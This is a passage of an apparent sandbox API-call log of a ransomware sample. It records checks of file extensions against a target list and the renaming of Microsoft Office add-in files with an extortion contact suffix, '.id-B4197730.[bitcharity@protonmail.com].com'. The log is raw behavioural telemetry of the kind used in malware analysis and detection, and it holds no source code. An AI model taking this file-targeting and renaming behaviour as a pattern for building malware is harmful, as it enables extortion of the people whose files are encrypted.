returned 4 [0262.221] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0262.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Windows.dll") returned 137 [0262.221] lstrlenW (lpString=".jpg") returned 4 [0262.221] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0262.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Windows.dll") returned 137 [0262.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Windows.dll") returned 137 [0262.221] lstrlenW (lpString=".doc") returned 4 [0262.221] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0262.221] lstrlenW (lpString=".docx") returned 5 [0262.221] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0262.221] lstrlenW (lpString=".pdf") returned 4 [0262.221] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0262.222] lstrlenW (lpString=".xls") returned 4 [0262.222] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0262.222] lstrlenW (lpString=".xlsx") returned 5 [0262.222] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0262.222] lstrlenW (lpString=".ppt") returned 4 [0262.222] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0262.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Windows.dll") returned 137 [0262.222] lstrlenW (lpString=".zip") returned 4 [0262.222] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0262.222] lstrlenW (lpString=".rar") returned 4 [0262.222] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0262.222] lstrlenW (lpString=".bz2") returned 4 [0262.222] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0262.222] lstrlenW (lpString=".7z") returned 3 [0262.222] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0262.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Windows.dll") returned 137 [0262.222] lstrlenW (lpString=".dbf") returned 4 [0262.222] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0262.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Windows.dll") returned 137 [0262.223] lstrlenW (lpString=".1cd") returned 4 [0262.223] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0262.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Windows.dll") returned 137 [0262.223] lstrlenW (lpString=".jpg") returned 4 [0262.223] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0262.223] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0262.223] lstrlenW (lpString="Microsoft.Mashup.Container.exe") returned 30 [0262.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1158 [0262.225] GetFileSizeEx (in: hFile=0x1158, lpFileSize=0x39eff14 | out: lpFileSize=0x39eff14*=18640) returned 1 [0262.225] CloseHandle (hObject=0x1158) returned 1 [0262.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.exe")) returned 0x220 [0262.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0262.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.mashup.container.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe") returned 132 [0262.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe") returned 132 [0262.226] lstrlenW (lpString=".doc") returned 4 [0262.226] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0262.226] lstrlenW (lpString=".docx") returned 5 [0262.226] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0262.226] lstrlenW (lpString=".pdf") returned 4 [0262.226] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0262.226] lstrlenW (lpString=".xls") returned 4 [0262.226] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0262.226] lstrlenW (lpString=".xlsx") returned 5 [0262.226] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0262.226] lstrlenW (lpString=".ppt") returned 4 [0262.226] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0262.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe") returned 132 [0262.226] lstrlenW (lpString=".zip") returned 4 [0262.226] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0262.226] lstrlenW (lpString=".rar") returned 4 [0262.226] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0262.226] lstrlenW (lpString=".bz2") returned 4 [0262.226] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0262.226] lstrlenW (lpString=".7z") returned 3 [0262.226] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0262.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe") returned 132 [0262.227] lstrlenW (lpString=".dbf") returned 4 [0262.227] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0262.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe") returned 132 [0262.227] lstrlenW (lpString=".1cd") returned 4 [0262.227] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0262.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe") returned 132 [0262.227] lstrlenW (lpString=".jpg") returned 4 [0262.227] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0262.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe") returned 132 [0262.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe") returned 132 [0262.227] lstrlenW (lpString=".doc") returned 4 [0262.227] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0262.227] lstrlenW (lpString=".docx") returned 5 [0262.227] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0262.661] lstrlenW (lpString=".pdf") returned 4 [0262.661] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0262.661] lstrlenW (lpString=".xls") returned 4 [0262.661] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0262.661] lstrlenW (lpString=".xlsx") returned 5 [0262.661] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0262.661] lstrlenW (lpString=".ppt") returned 4 [0262.661] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0262.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe") returned 132 [0262.661] lstrlenW (lpString=".zip") returned 4 [0262.662] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0262.662] lstrlenW (lpString=".rar") returned 4 [0262.662] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0262.662] lstrlenW (lpString=".bz2") returned 4 [0262.662] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0262.662] lstrlenW (lpString=".7z") returned 3 [0262.662] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0262.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe") returned 132 [0262.662] lstrlenW (lpString=".dbf") returned 4 [0262.662] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0262.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe") returned 132 [0262.662] lstrlenW (lpString=".1cd") returned 4 [0262.662] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0262.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe") returned 132 [0262.662] lstrlenW (lpString=".jpg") returned 4 [0262.662] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0262.662] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0262.662] lstrlenW (lpString="Microsoft.MashupEngine.resources.dll") returned 36 [0262.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\sk\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1194 [0262.663] GetFileSizeEx (in: hFile=0x1194, lpFileSize=0x39eff14 | out: lpFileSize=0x39eff14*=567976) returned 1 [0262.663] CloseHandle (hObject=0x1194) returned 1 [0262.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\sk\\microsoft.mashupengine.resources.dll")) returned 0x220 [0262.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\Microsoft.MashupEngine.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\sk\\microsoft.mashupengine.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0262.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\sk\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\Microsoft.MashupEngine.resources.dll") returned 141 [0262.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\Microsoft.MashupEngine.resources.dll") returned 141 [0262.664] lstrlenW (lpString=".doc") returned 4 [0262.664] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0262.664] lstrlenW (lpString=".docx") returned 5 [0262.664] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0262.664] lstrlenW (lpString=".pdf") returned 4 [0262.664] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0262.664] lstrlenW (lpString=".xls") returned 4 [0262.664] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0262.664] lstrlenW (lpString=".xlsx") returned 5 [0262.664] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0262.664] lstrlenW (lpString=".ppt") returned 4 [0262.664] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0262.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\Microsoft.MashupEngine.resources.dll") returned 141 [0262.665] lstrlenW (lpString=".zip") returned 4 [0262.665] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0262.665] lstrlenW (lpString=".rar") returned 4 [0262.665] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0262.665] lstrlenW (lpString=".bz2") returned 4 [0262.665] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0262.665] lstrlenW (lpString=".7z") returned 3 [0262.665] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0262.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\Microsoft.MashupEngine.resources.dll") returned 141 [0262.665] lstrlenW (lpString=".dbf") returned 4 [0262.665] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0263.091] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.092] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\PowerViewRes.ca.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ca\\powerviewres.ca.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.092] CloseHandle (hObject=0x1160) returned 1 [0263.098] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.098] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\PowerViewRes.cs.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\cs\\powerviewres.cs.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.098] CloseHandle (hObject=0x1160) returned 1 [0263.106] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.106] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\PowerViewRes.da.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\da\\powerviewres.da.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.106] CloseHandle (hObject=0x1160) returned 1 [0263.112] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.112] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\PowerViewRes.de.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\de\\powerviewres.de.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.112] CloseHandle (hObject=0x1160) returned 1 [0263.125] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.126] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\PowerViewRes.el.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\el\\powerviewres.el.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.126] CloseHandle (hObject=0x1160) returned 1 [0263.851] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.851] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\PowerViewRes.es.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\es\\powerviewres.es.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.852] CloseHandle (hObject=0x1158) returned 1 [0263.858] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.859] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\PowerViewRes.id.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\id\\powerviewres.id.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.859] CloseHandle (hObject=0x1158) returned 1 [0263.870] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.870] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\PowerViewRes.it.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\it\\powerviewres.it.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.871] CloseHandle (hObject=0x1158) returned 1 [0263.876] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.876] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\PowerViewRes.ja.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ja\\powerviewres.ja.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.876] CloseHandle (hObject=0x1158) returned 1 [0263.884] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.884] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\PowerViewRes.kk.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\kk\\powerviewres.kk.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.884] CloseHandle (hObject=0x1158) returned 1 [0263.890] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.890] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\PowerViewRes.ko.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ko\\powerviewres.ko.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.890] CloseHandle (hObject=0x1158) returned 1 [0264.819] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0264.819] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0264.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\PowerViewRes.zh-CHT.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\zh-cht\\powerviewres.zh-cht.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.820] CloseHandle (hObject=0x1268) returned 1 [0264.831] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ca\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ca\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0264.858] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cs\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cs\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0264.877] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\da\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\da\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0266.833] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel 